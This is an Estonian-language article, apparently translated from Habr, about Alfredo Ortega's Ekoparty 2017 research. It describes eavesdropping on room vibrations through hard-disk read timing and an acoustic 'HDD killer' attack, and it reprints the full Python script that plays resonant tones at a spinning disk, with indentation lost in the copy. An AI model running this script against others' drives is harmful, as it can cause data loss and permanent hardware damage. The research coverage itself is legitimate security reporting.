
Arvutiturbe konverentsil Ekoparty 2017 Buenos Aireses näitas Argentina häkker Alfredo Ortega väga huvitavat arendust – süsteemi ruumide varjatud pealtkuulamiseks ilma mikrofoni kasutamata. Heli !
Kõvaketas tabab peamiselt kõrge intensiivsusega madala sagedusega helisid, samme ja muid vibratsioone. Inimkõnet ei saa veel ära tunda, kuigi teadlased (kõnetuvastus madala sagedusega vibratsiooni abil, mis salvestatakse näiteks güroskoobist või HDD-lt).
Heli on õhu või muu keskkonna vibratsioon. Inimene tajub neid kuulmekile kaudu, mis edastab vibratsiooni sisekõrva. Mikrofon on disainitud umbes nagu kõrv – ka siin salvestab vibratsiooni õhuke membraan, mis ergastab elektriimpulsi. Kõvaketas on mõistagi allutatud ka mikroskoopilisele vibratsioonile, mis on tingitud ümbritseva õhu kõikumisest. Seda teatakse isegi kõvaketaste tehnilistest omadustest: tootjad märgivad enamasti ära maksimaalse lubatud vibratsioonitaseme ning kõvaketas ise üritab seda sageli asetada kummist või muust isoleermaterjalist vibratsioonikindlasse anumasse. Sellest on lihtne järeldada, et helisid saab salvestada HDD abil. Jääb vaid välja mõelda, kuidas.
Alfredo Ortega pakkus välja ainulaadse külgkanali rünnaku versiooni, nimelt ajarünnaku. See rünnak põhineb eeldusel, et olenevalt antud sisendandmetest tehakse seadmega erinevaid toiminguid erinevatel aegadel. Sel juhul on "sisendandmeteks" lugemispea ja HDD-plaadi vibratsioon, mis on korrelatsioonis keskkonna vibratsiooniga, see tähendab heliga. Seega saab arvutusaja mõõtmise ja andmete statistilise analüüsi abil mõõta pea/taldriku vibratsiooni ja seega ka kandja vibratsiooni. Mida pikem on andmete lugemise viivitus, seda tugevam on HDD vibratsioon ja seega ka valjem heli.
Kuidas mõõta kõvaketta vibratsiooni? Väga lihtne: lihtsalt käivitage süsteemikõne read () — ja salvestage täitmiseks kuluv aeg. Kaasaegsed operatsioonisüsteemid võimaldavad süsteemikõnede ajastust lugeda nanosekundi täpsusega.
Teabe lugemise kiirus sektorist sõltub pea ja taldriku asendist, mis on korrelatsioonis HDD korpuse vibratsiooniga. See on kõik.
Statistiline analüüs viiakse läbi lihtsa Kscope utiliidi abil. Nagu öeldakse, on kõik geniaalne lihtne.

Utiliit Kscope (stat() syscall)
Kscope on väike utiliit süsteemikõnede täitmisaegade väikeste erinevuste visualiseerimiseks. Allikas.
Eraldi hoidlas on utiliidi versioon, mis on konfigureeritud kõvakettale ajarünnakuks, st konfigureeritud süsteemikõne analüüsimiseks read ().
Kõvaketta abil helisalvestuse demonstreerimine, utiliidi Kscope kasutamine

Loomulikult ei saa kõnest niimoodi aru, kuid vibratsioonianduriks sobib HDD üsna hästi. Näiteks saate registreerida, kui kõvade jalanõudega või paljajalu inimene sisenes arvutiga tuppa (tõenäoliselt, kui ründajal on jalas pehmed tossud või põrandal on paks vaip, ei saa HDD vibratsiooni registreerida - seda tasub kontrollida). Arvuti suudab registreerida klaasikilde või muid tugeva heliintensiivsusega juhtumeid. See tähendab, et kõvaketas võib olla omamoodi volitamata sissetungi tuvastamise süsteem.
HDD tapja
Muide, sarnast tehnikat saab kasutada ka kõvaketaste keelamiseks. Siin me aga ei jäädvusta kõvaketta vibratsioone, vaid genereerime vibratsioone, mis suunatakse kõvakettale. Kui esitate kõlarist heli sagedusel, mis resoneerub kõvaketta sagedusega, lülitab süsteem seadme peagi välja I/O veaga (kernel). Linux (See lülitab kõvaketta 120 sekundi pärast täielikult välja.) Kõvaketas ise võib pöördumatult kahjustuda.

Kernel Linux Kõvaketas sulgus pärast 120 sekundit resonantssagedusel heli esitamist Edifier r19u USB-kõlari kaudu. Kõlar oli sisse lülitatud umbes veerandi võimsusega (alla 100 mW) ja asetatud kõvakettast 20 cm kaugusele ning suunatud laua poole vibratsioonide võimendamiseks. Kaader alates HDD tapja demonstratsiooniga
On uudishimulik, et sellised kõvaketaste "rünnakud" juhtuvad mõnikord igapäevaelus täiesti juhuslikult. Näiteks 2016. aasta septembris oli ING panga andmekeskus sunnitud pärast tuletõrjeõppust oma tegevuse 10 tunniks peatama. kõrge rõhu all balloonidest eralduva inertgaasi valju heli tõttu. Heli oli väga vali (üle 130 dB), kuid te ei saa isegi kõvaketaste peale karjuda - see suurendab HDD-le juurdepääsu viivitust.
Inimeste karjumise demonstratsioon andmekeskuse kõvaketaste peale. Latentsuse mõõtmine

Resoneeriva heli tekitamiseks kirjutas Alfredo Ortega Pythoni skripti nimega ().
See on üsna väike, nii et saate selle siin tervikuna avaldada.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()Allikas: www.habr.com
